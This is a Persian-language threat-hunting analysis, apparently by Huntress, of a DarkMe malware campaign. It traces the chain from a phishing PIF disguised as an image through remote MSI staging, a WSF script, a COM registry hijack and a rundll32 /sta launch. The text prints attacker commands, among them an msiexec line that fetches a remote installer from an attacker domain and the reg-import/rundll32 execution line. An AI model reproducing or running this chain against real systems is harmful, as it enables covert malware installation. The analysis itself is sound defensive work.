DarkMe، یک تروجان جاسوسی و ابزار دسترسی از راه دور Visual Basic 6 (VB6) در فوریه 2024 به خاطر استفاده از روز صفر برای تحویل بدافزار به خوبی شناخته شد. اما این خانواده بدافزار برای اولین بار در سپتامبر 2021 مشاهده شد و یک سال بعد توسط NSFOCUS تحت عنوان "عملیات DarkCasino" مستند شد که به گروهی به نام EvilNum نسبت داده شد. محققان در Trend Micro و SonicWall همچنین این بدافزار را، با احتیاطهای معمول نسبتدهی، به Water Hydra، یک گروه APT با پروفایل غیرمعمول که به دنبال پول به جای جاسوسی است، مرتبط کردهاند. کمپینهای آن معمولاً از انگیزههای مالی پیروی میکنند و هدف آنها معاملهگران فارکس، انجمنهای تجارت سهام، پلتفرمهای قمار آنلاین و کاربران ارزهای دیجیتال است.
آنچه DarkMe را قابل توجه میکرد، نحوه تحویل آن بود. در سال 2023، Water Hydra آسیبپذیری تقلبی WinRAR با شناسه CVE-2023-38831 را به عنوان یک روز صفر سلاحگذاری کرد و آرشیوهای مخرب را در انجمنهای تجاری قرار داد. در اواخر 2023 و اوایل 2024، Water Hydra به CVE-2024-21412، یک دور زدن Defender SmartScreen که بر اساس یک میانبر به میانبر دیگر ساخته شده بود (بله، این یک چیز بود)، تغییر مسیر داد و بر روی یک اشتراک WebDAV در پشت نمای اکسپلورر طراحی شده قرار گرفت.
اما داستان ما از دیدگاه تیم شکار تهدید Huntress آغاز میشود و این روش تجاری تقریباً غیرقابل شناسایی است. در اینجا هیچ بهرهبرداری وجود ندارد. یک قانون شکار فعالیت عجیبی را در اطراف یک فایل اطلاعات برنامه (PIF) که Windows Installer را راهاندازی میکند، شناسایی کرد. همه چیز در پایین این PIF کتاب درسی DarkMe است، اما همه چیز قبل از آن بهطور صادقانه، خستهکننده است. با این حال، ما فکر کردیم که این یک داستان جالب برای گفتن است، زیرا روند بزرگتری از بازیگران تهدید پیشرفته را نشان میدهد که به دنبال روشهای دسترسی اولیه کمتر پیچیده برای گسترش هدفگذاری خود هستند.
شکل 1: یک نمای کلی از زنجیره حملهای که توسط این کمپین جدید DarkMe استفاده شده است
تجزیه و تحلیل فنی
دسترسی اولیه: عکسی که نبود
تحویل از طریق یک لینک در یک ایمیل قدیمی مهندسی اجتماعی malspam انجام شد:
شکل 2: ایمیل فیشینگ که PIF را به عنوان یک تصویر مخفی میکند
اگرچه لینک در ایمیل به https://readonline365[.]com/view/image.png اشاره داشت، یک URL برای یک فایل گرافیکی، وبسرور تصویر.pif، یک فایل اجرایی ویندوز را تحویل داد.
شکل 3: برگه ویژگیها فایل را به عنوان "میانبر به برنامه MS-DOS" توصیف میکند اما خود فایل یک فایل اجرایی است.
پسوند .pif، یک یادگار از دوران DOS، به "فایل اطلاعات برنامه" اشاره دارد. سیستمهای مدرن ویندوز فایلهای .pif را به عنوان یک برنامه اجرا میکنند، صرف نظر از اینکه پسوند چه چیزی را نشان میدهد (یا نماد چه چیزی را نشان میدهد).
شکل 4: وقتی با پسوند .exe تغییر نام داده میشود، برگه جزئیات در برگه ویژگیهای فایل اطلاعات جعلی پنهان شدهای را نشان میدهد که نشان میدهد فایل یک جزء از یک محصول امنیتی به نام Aegis Sentinel است، اما به آن محصول مربوط نیست.
همان فایل، یک باینری 1 مگابایتی PE32+، به دو محیط مشتری Huntress تحویل داده شد. کاربران به سادگی دو بار کلیک کردند و فایل را دانلود کردند، بدون اینکه متوجه شوند چه چیزی است.
شکل 5: دانلود و اجرای image.pif
مرحلهبندی: msiexec، یک بستهبندی exemsi و یک اسکریپت
تنها کار PIF این است که نصبکننده مایکروسافت، msiexec، را فراخوانی کند تا یک فایل نصبکننده .msi را که در یک آدرس وب ثبت شده توسط مهاجم میزبانی شده است، دانلود و اجرا کند. این دستور را برای انجام این کار اجرا کرد:
msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart
دریافت یک MSI از راه دور از طریق HTTPS با /quiet در بیشتر محیطها نادر است، زیرا نصبکنندههای قانونی تقریباً هرگز در ریشه یک دامنه خالی زندگی نمیکنند.
خود MSI یک نشانه است. متاداده آن را به عنوان ساخته شده با "MSI Wrapper" (نسخه 11.0.53.0) شناسایی میکند، که تحت نام پوششی "PrinterFind Softwares" بستهبندی شده و تاریخ ایجاد آن 11 ژانویه 2024 است. ساختار بیضرر بستهبندی همه موجود است:
MsiCustomActions.dll
newdev.exe stub
BZ.RUN_BEFORE_INSTALL_FILE تنظیم شده به wScript.exe
به عبارت دیگر، هدف نصبکننده گسترش یک فایل آرشیو کابینه ویندوز و اجرای یک اسکریپت است.
EXPAND.EXE -R files.cab اجزای آن را به %AppData%\ComponentsFolder\ میریزد و نصبکننده prnfig.wsf را اجرا میکند.
شکل 6: اجزای DarkMe در پوشهای به نام ComponentsFolder نصب شدهاند
بارگذاری Gist...
شکل 7: prnfig.wsf، اسکریپت مرحلهبندی، نشاندهنده کپیهای فایل، بازنویسی الگوی رجیستری و وارد کردن reg به علاوه rundll32 /sta.
خواندن prnfig.wsf یک پنجره واضح به نیت اپراتور باز میکند. فایل Windows Script Host چهار کار انجام میدهد:
هر فایل رها شده را به %AppData%\ComponentsFolder\ کپی میکند
فقط clspack.exe را به %AppData%\Microsoft\ کپی میکند، هدف توخالی را که یک باینری امضاشده مایکروسافت کمترین حالت غیرمعمولی به نظر میرسد، مرحلهبندی میکند
یک الگو برای ایجاد تغییرات در رجیستری ویندوز مینویسد
بارگذار را فعال میکند
فایل رها شده text.txt یک الگوی رجیستری است که شیء COM را به عنوان @="Coconout.dll" ثبت میکند. اسکریپت آن را میخواند، مسیر کامل %AppData%\ComponentsFolder\Coconout.dll (شامل نام حساب کاربری محلی در مسیر) را جایگزین میکند، بکاسلشها را برای وارد کردن .reg فرار میدهد و نتیجه را به filetext2.txt مینویسد. سپس 1.5 ثانیه خوابیده و اجرا میکند:
cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
بارگذاری Gist...
شکل 8: الگوی رجیستری filetext.txt برای وارد کردن
آن وارد کردن یک سرور COM را تحت HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B} ثبت میکند، با ProgID Coconout.Primary و InprocServer32 که به Coconout.dll اشاره دارد.
بارگذار: Rundll32.exe و سه بارگذار Visual Basic 6
دستوری که مرحله نهایی عفونت را آغاز میکند، rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B} است که در کمپین 2024 مشاهده شد و یک امضای عالی برای شناسایی یا شکار است. پرچم /sta شیء COM ثبتشده را در یک آپارتمان تکنخی (STA) از طریق IShellRunDll::Run اجرا میکند، یک مسیر اجرایی کمتر شناخته شده که از شناساییهایی که بر اساس نحو معمول rundll32 <dll>,<export> تنظیم شدهاند، دور میزند.
قابل توجه است که مسیر DLL هرگز در خط فرمان ظاهر نمیشود، فقط یک UUID مبهم.
از آنجا، زنجیره از طریق سه بارگذار VB6 اجرا میشود، که هر یک یک لایه ابهامزایی است که یک صادرات نامدار را در بعدی فراخوانی میکند:
Coconout.dll بارگذار COM مرحله 1 است.